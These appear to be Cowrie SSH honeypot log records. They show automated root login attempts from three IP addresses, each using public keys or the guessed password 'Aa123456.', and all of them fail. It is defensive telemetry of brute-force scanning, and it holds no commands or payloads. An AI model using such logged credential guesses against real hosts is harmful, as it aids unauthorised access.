{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"26:5f:6f:fc:27:f5:8c:52:3f:18:98:5d:40:91:f5:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYH8euvAp4+uA8WY8tfF9pUyc3145bhfWX/AYeO1dzmVMCCD3d0lya/AWUV/kZr5UJ8Onw6zAOGWuQIBJ1V4UZcSxzZTbGdphsCjtA+XH0c+jpvLCauBFt5XeqP0VJNcBBjL8g8lHVddf/tzCHGaCUpeO8/wKVJhd1ddHDa+4ExeWQs77WS6XDz1LK359e56h0uEJ5PGyBAjfWUgqDXwhclJ/yQJ8uxYVr2+3WV+gQ0JRbZHzQLo8VUd1Yibkmt9TuatfzCnk/N72czoxJUZvcu+uot9NmXSUo/KwYVbBg7C8f3u5oCegPyzSstLD+5PhMy8zoo7aY034/mmP3QtGH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 26:5f:6f:fc:27:f5:8c:52:3f:18:98:5d:40:91:f5:12","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.510951Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"26:5f:6f:fc:27:f5:8c:52:3f:18:98:5d:40:91:f5:12","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYH8euvAp4+uA8WY8tfF9pUyc3145bhfWX/AYeO1dzmVMCCD3d0lya/AWUV/kZr5UJ8Onw6zAOGWuQIBJ1V4UZcSxzZTbGdphsCjtA+XH0c+jpvLCauBFt5XeqP0VJNcBBjL8g8lHVddf/tzCHGaCUpeO8/wKVJhd1ddHDa+4ExeWQs77WS6XDz1LK359e56h0uEJ5PGyBAjfWUgqDXwhclJ/yQJ8uxYVr2+3WV+gQ0JRbZHzQLo8VUd1Yibkmt9TuatfzCnk/N72czoxJUZvcu+uot9NmXSUo/KwYVbBg7C8f3u5oCegPyzSstLD+5PhMy8zoo7aY034/mmP3QtGH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.515484Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"95:5d:9b:b5:e1:b5:b2:ed:15:f2:7a:8c:82:e5:55:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv3SEvURnOLlsMOHliqUbDqNoN/mhD+7GRVI1Xl3vjOKsManDeclxoVaHyAFt4rawaNBKPU+4qXYECUHMJU5py7QvPD2Tfxan0gRBdUhWzGoAd45wyq//wdj3+EfAgYcSrD3vpK5HGB3krrtzmyhqpa4PHvFUVKBzm+ayTT2wDK4gUEsYN85Jb4DLDuvdQZMi6ZwIZSLOmp7gbiBMJeB27S20nJV5MPHA4nIaH18yLkKdscsQ4xtQpEXpGE1V8YKpUP7DEUWjvzMLxQs8VWmXI97UUXoDRdMMCv1Hy2WHXJAT0VT3G3a3vFVR+TCEfq9U06Ada+T0uXMnS8bdAow/ow==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 95:5d:9b:b5:e1:b5:b2:ed:15:f2:7a:8c:82:e5:55:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.563830Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"95:5d:9b:b5:e1:b5:b2:ed:15:f2:7a:8c:82:e5:55:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAv3SEvURnOLlsMOHliqUbDqNoN/mhD+7GRVI1Xl3vjOKsManDeclxoVaHyAFt4rawaNBKPU+4qXYECUHMJU5py7QvPD2Tfxan0gRBdUhWzGoAd45wyq//wdj3+EfAgYcSrD3vpK5HGB3krrtzmyhqpa4PHvFUVKBzm+ayTT2wDK4gUEsYN85Jb4DLDuvdQZMi6ZwIZSLOmp7gbiBMJeB27S20nJV5MPHA4nIaH18yLkKdscsQ4xtQpEXpGE1V8YKpUP7DEUWjvzMLxQs8VWmXI97UUXoDRdMMCv1Hy2WHXJAT0VT3G3a3vFVR+TCEfq9U06Ada+T0uXMnS8bdAow/ow==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.567483Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8f:fb:7c:ee:b4:fd:b8:93:1c:ea:7a:8e:0c:67:12:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDod5yDHhp9pOfYoWNLSUZAZjUY9Ool+66hcq54I1ed+S0cK5OcMgPsyySaUMdA6Hi5NXULZa6vZw3FjcKlsemaytr9LJWkZoaYqu5uoArF6yWhuNx7RkgNqEYkR8MJkwaSPNaYrMQp8dJu53ePmV0kZ1+Z5vW15/VRB3PmhdJFsY6+EEj8xUG+B0toZwmOVS76dvrDkj3l0VJGPMik+xvpjceQTDtPDJYecm4m+ykhGamDEHQj3sGzBm/dRXpClRNyn3EZmgRktB0vKKurZtnGJ69AiBst4oQvOBjHg3JGaPbKgdgUXox6QWAHrBv4wJeIMb7ZZ2G2snjsYPSnukKh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8f:fb:7c:ee:b4:fd:b8:93:1c:ea:7a:8e:0c:67:12:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.610123Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8f:fb:7c:ee:b4:fd:b8:93:1c:ea:7a:8e:0c:67:12:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDod5yDHhp9pOfYoWNLSUZAZjUY9Ool+66hcq54I1ed+S0cK5OcMgPsyySaUMdA6Hi5NXULZa6vZw3FjcKlsemaytr9LJWkZoaYqu5uoArF6yWhuNx7RkgNqEYkR8MJkwaSPNaYrMQp8dJu53ePmV0kZ1+Z5vW15/VRB3PmhdJFsY6+EEj8xUG+B0toZwmOVS76dvrDkj3l0VJGPMik+xvpjceQTDtPDJYecm4m+ykhGamDEHQj3sGzBm/dRXpClRNyn3EZmgRktB0vKKurZtnGJ69AiBst4oQvOBjHg3JGaPbKgdgUXox6QWAHrBv4wJeIMb7ZZ2G2snjsYPSnukKh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.614704Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:4c:3a:75:ed:36:65:b7:1e:71:02:e5:8e:2c:01:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/brGnzQi84GsCK70aryZ6fL9ESD5I+vmPBVcUW7MfGCexhryVd17fXTbW8qgV9lJsrLbw72xHJ4CBa4aGlfhDv1/06UpuQ+pQRd5hqlx87ZgyZAxhmaWi3eNKQtXw66uZ5dXN4WZPwLbNRoi9aokh7Eqzw/EyXgXK8GX6B0qIC9ekInDzypEfC0Qm3rkGs61DQFVGCvqnj4WXvClnndKkdxK2lYDdcD/G4qHeasE22l7/1gbthmfyiPU/I55IcpjExvMxALjAQczRIwKkA84jYzXAHrPWBcPGRsjbwNN+KKhNKIl6nIiS5wnX80xdBeRiHeefw/an55K45ZBm7qHX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:4c:3a:75:ed:36:65:b7:1e:71:02:e5:8e:2c:01:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.660979Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:4c:3a:75:ed:36:65:b7:1e:71:02:e5:8e:2c:01:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/brGnzQi84GsCK70aryZ6fL9ESD5I+vmPBVcUW7MfGCexhryVd17fXTbW8qgV9lJsrLbw72xHJ4CBa4aGlfhDv1/06UpuQ+pQRd5hqlx87ZgyZAxhmaWi3eNKQtXw66uZ5dXN4WZPwLbNRoi9aokh7Eqzw/EyXgXK8GX6B0qIC9ekInDzypEfC0Qm3rkGs61DQFVGCvqnj4WXvClnndKkdxK2lYDdcD/G4qHeasE22l7/1gbthmfyiPU/I55IcpjExvMxALjAQczRIwKkA84jYzXAHrPWBcPGRsjbwNN+KKhNKIl6nIiS5wnX80xdBeRiHeefw/an55K45ZBm7qHX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.666774Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:30.711343Z","src_ip":"23.131.184.100","session":"d728302e6a31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":38284,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b2cba655699","protocol":"ssh","message":"New connection: 47.86.95.62:38284 (10.17.0.5:22) [session: 0b2cba655699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:33.002774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:33.007528Z","src_ip":"47.86.95.62","session":"0b2cba655699","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:44.582179Z","src_ip":"47.86.95.62","session":"0b2cba655699","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:56.790132Z","src_ip":"47.86.95.62","session":"0b2cba655699","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"26.7","message":"Connection lost after 26.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:56:59.694169Z","src_ip":"47.86.95.62","session":"0b2cba655699","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.17","src_port":34168,"dst_ip":"10.17.0.5","dst_port":22,"session":"dde3adcf5a8d","protocol":"ssh","message":"New connection: 154.16.115.17:34168 (10.17.0.5:22) [session: dde3adcf5a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:07.868305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:07.873169Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:07.900239Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:d3:37:13:14:26:8c:18:09:37:8e:6c:f4:98:f2:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDITNJTMr2jyDmKFdnjMdNJudxR+Twtg0PNQLLbh4mIaB7TOUqJG8LAp3LFgG5/LfIQ0ha2mtxie6watsS7yqY+nW48h9UrZJLUjxYbKsSr62C2VyECGwqjDR0HMm94lywocj4+kR/9SCI/hxQGnFlqzLa6S+9bZVqUcCWytbEB6OPI2qub3/ZgpvwOGM5xk6nmh7F6XALhkdVcdAp0GJDoRs26wDNyAxGY840nDCvhi/IovukZxAISosfPnFB46wwN01DjLZr8Uz1eBd8xPWn6eOwk0+IFvJ1ENpfc97uRXbeSRFOPo2RlOB9Hd5pNSxs6SuqrB8dLYSpMH5ZL8WLH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:d3:37:13:14:26:8c:18:09:37:8e:6c:f4:98:f2:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.014441Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:d3:37:13:14:26:8c:18:09:37:8e:6c:f4:98:f2:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDITNJTMr2jyDmKFdnjMdNJudxR+Twtg0PNQLLbh4mIaB7TOUqJG8LAp3LFgG5/LfIQ0ha2mtxie6watsS7yqY+nW48h9UrZJLUjxYbKsSr62C2VyECGwqjDR0HMm94lywocj4+kR/9SCI/hxQGnFlqzLa6S+9bZVqUcCWytbEB6OPI2qub3/ZgpvwOGM5xk6nmh7F6XALhkdVcdAp0GJDoRs26wDNyAxGY840nDCvhi/IovukZxAISosfPnFB46wwN01DjLZr8Uz1eBd8xPWn6eOwk0+IFvJ1ENpfc97uRXbeSRFOPo2RlOB9Hd5pNSxs6SuqrB8dLYSpMH5ZL8WLH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.017713Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:9f:51:7e:35:71:3b:a8:2c:a7:5e:cd:04:b5:5c:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/mW8VENfESjX04MlTACEKVQ1BbVt6Tdcw1Xta5ey2fsWvGLKmRT5WwCVebGWwiJM6szo8U1DxosdoRytCFlxFi5/76gbMaLxscNrBVvkBEa6mBh82Hieb4dA28DFc3za1GLh4Ro6/GpirxkD8fFaYBN8MGMAirAhGX0LFQFhF1dgPKA/4LjakLCqmb+8n+zRhbWoceutf/wy91RjtGWYXcfXxhSEwBiHSwwWfUms2wtLViJTyDWFrF4fGMsKjjZmn2Ys5dF1nfrOq99OQDAVbzH3JEkTFRk9Hn2Ak/Afcxd/IVoIjIAZ/X+PCV6PZmVZ0HQFP/mreH4JEbsp4igK9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:9f:51:7e:35:71:3b:a8:2c:a7:5e:cd:04:b5:5c:c3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.044456Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:9f:51:7e:35:71:3b:a8:2c:a7:5e:cd:04:b5:5c:c3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/mW8VENfESjX04MlTACEKVQ1BbVt6Tdcw1Xta5ey2fsWvGLKmRT5WwCVebGWwiJM6szo8U1DxosdoRytCFlxFi5/76gbMaLxscNrBVvkBEa6mBh82Hieb4dA28DFc3za1GLh4Ro6/GpirxkD8fFaYBN8MGMAirAhGX0LFQFhF1dgPKA/4LjakLCqmb+8n+zRhbWoceutf/wy91RjtGWYXcfXxhSEwBiHSwwWfUms2wtLViJTyDWFrF4fGMsKjjZmn2Ys5dF1nfrOq99OQDAVbzH3JEkTFRk9Hn2Ak/Afcxd/IVoIjIAZ/X+PCV6PZmVZ0HQFP/mreH4JEbsp4igK9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.048304Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"07:94:bb:67:a6:c3:09:f2:fd:31:12:ea:b1:41:12:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgx1ahVkksPCy+qbxNeUIOvvwWyI1be6aFa5rtNfI03vTE8WTZ9qyz7kw45hfUbrWO+Abj/gq8AAifvRcjKINGK1d9AiVX4zwNPnhKs2SQK7xZKwwAjgrFLYMyGU3x0G1i23x+CCtRIuwkJ2T/4K88ARJz86G1v0aBtrSHGGfTxnaOUlTrCG+Kc9A6RXkNnyqiuEOxB1XBz4gmlND7mR9rEKqEdMNebHlK5wujWoWQiRbQz8d5yDWGXqG08qAn/4eH007e58aMnzISPpDz/GuHkXw681639t0DLvs912GukhJtptJ9CFcCgEA8ZbQ8xknWOrnuwUM2TZ5JNKPjXdOJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 07:94:bb:67:a6:c3:09:f2:fd:31:12:ea:b1:41:12:cb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.078368Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"07:94:bb:67:a6:c3:09:f2:fd:31:12:ea:b1:41:12:cb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgx1ahVkksPCy+qbxNeUIOvvwWyI1be6aFa5rtNfI03vTE8WTZ9qyz7kw45hfUbrWO+Abj/gq8AAifvRcjKINGK1d9AiVX4zwNPnhKs2SQK7xZKwwAjgrFLYMyGU3x0G1i23x+CCtRIuwkJ2T/4K88ARJz86G1v0aBtrSHGGfTxnaOUlTrCG+Kc9A6RXkNnyqiuEOxB1XBz4gmlND7mR9rEKqEdMNebHlK5wujWoWQiRbQz8d5yDWGXqG08qAn/4eH007e58aMnzISPpDz/GuHkXw681639t0DLvs912GukhJtptJ9CFcCgEA8ZbQ8xknWOrnuwUM2TZ5JNKPjXdOJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.083079Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"48:a4:1e:de:5c:1a:97:17:0f:b9:bb:ed:c4:16:be:3e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMr3+vqrQK/QCv/1ieGNq45wE1x7KkQZQY8hzhpMXS7mISn9Te0onXRRk/lmDVSynCFk4PStR6Jr1zMOzaj9lykRHUfkOWZ5TAkHsdZZw8bD5Oeen5tj89L7f6Jo4gUO7MBom23kxERY7D6GRBiSixxfvitXUEx8zI52bVwIv85vAAAAFQD+z0Pex3hsH9SjhpqgJ/WQJDEAcwAAAIEAjp6ZNCjAhEzW8gqgG/MqBT2roP1dH+cdxZrtS/AUUVfcOx3Nmdr7IQptxGnS6qI1IZqM3Izgn1ZZs5GfuCAGTFCpPB4Zik7tP7DM4qhkaSy4b6Nkz47ecldjwMtjOu5OvCOW5f7DWpqffi06mO06XHoJKpJKIAId0BBMZm9HhAEAAACAFK2IxS7abC2Mp0K6ZG2ikcsx2BIlaV/v9z3hpXlWDwzod058MlvuuSFdHkQi+8CcqUzIpXhA95wZTx43ujEICjwBXsVneN7G4aEHMPuk2C7QdSQrwkpGRmPl3uRYq8mPQsmEHlZCUvOe95swrHeEE6FpNC5N+3tte6p0JZuLibQ=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 48:a4:1e:de:5c:1a:97:17:0f:b9:bb:ed:c4:16:be:3e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.110581Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"48:a4:1e:de:5c:1a:97:17:0f:b9:bb:ed:c4:16:be:3e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAMr3+vqrQK/QCv/1ieGNq45wE1x7KkQZQY8hzhpMXS7mISn9Te0onXRRk/lmDVSynCFk4PStR6Jr1zMOzaj9lykRHUfkOWZ5TAkHsdZZw8bD5Oeen5tj89L7f6Jo4gUO7MBom23kxERY7D6GRBiSixxfvitXUEx8zI52bVwIv85vAAAAFQD+z0Pex3hsH9SjhpqgJ/WQJDEAcwAAAIEAjp6ZNCjAhEzW8gqgG/MqBT2roP1dH+cdxZrtS/AUUVfcOx3Nmdr7IQptxGnS6qI1IZqM3Izgn1ZZs5GfuCAGTFCpPB4Zik7tP7DM4qhkaSy4b6Nkz47ecldjwMtjOu5OvCOW5f7DWpqffi06mO06XHoJKpJKIAId0BBMZm9HhAEAAACAFK2IxS7abC2Mp0K6ZG2ikcsx2BIlaV/v9z3hpXlWDwzod058MlvuuSFdHkQi+8CcqUzIpXhA95wZTx43ujEICjwBXsVneN7G4aEHMPuk2C7QdSQrwkpGRmPl3uRYq8mPQsmEHlZCUvOe95swrHeEE6FpNC5N+3tte6p0JZuLibQ=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.114908Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"23:47:88:94:96:ef:85:f4:57:a1:e5:a1:cb:4c:8a:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0gPC8zelfx4CBSHvugeTjAgdYX1a+IEOyy3AJFNipsWt+wAmkyi+cv++kLta3t/duvEQm+OTnHTxl9v9rg2nfqG5nSjQ711IEIKn2tPciJYpg2WqtnTYYkuXITAd3AoVfW+US1jR43c8CzOXvkuH6xhITPDgTYwPRNAqlg3EgaTJeXE1S3tAzvkvqLH8Q0Sm90YTlE7NPT6u35s8GEctq0M5ieBYIPJ/xFJCQat1CsRtV49FRXTHpHzgNScaGaXC+zVkNiurwIAZDa1UY1xJ9RF7vSmnFgk+R79QvHJVliF7v+gIBFCg9corPdq+Wy8xzQ0eg+mUMJJiXl15/NhZB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 23:47:88:94:96:ef:85:f4:57:a1:e5:a1:cb:4c:8a:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.142031Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:47:88:94:96:ef:85:f4:57:a1:e5:a1:cb:4c:8a:fa","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0gPC8zelfx4CBSHvugeTjAgdYX1a+IEOyy3AJFNipsWt+wAmkyi+cv++kLta3t/duvEQm+OTnHTxl9v9rg2nfqG5nSjQ711IEIKn2tPciJYpg2WqtnTYYkuXITAd3AoVfW+US1jR43c8CzOXvkuH6xhITPDgTYwPRNAqlg3EgaTJeXE1S3tAzvkvqLH8Q0Sm90YTlE7NPT6u35s8GEctq0M5ieBYIPJ/xFJCQat1CsRtV49FRXTHpHzgNScaGaXC+zVkNiurwIAZDa1UY1xJ9RF7vSmnFgk+R79QvHJVliF7v+gIBFCg9corPdq+Wy8xzQ0eg+mUMJJiXl15/NhZB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:57:08.145699Z","src_ip":"154.16.115.17","session":"dde3adcf5a8d","protocol":"ssh"}
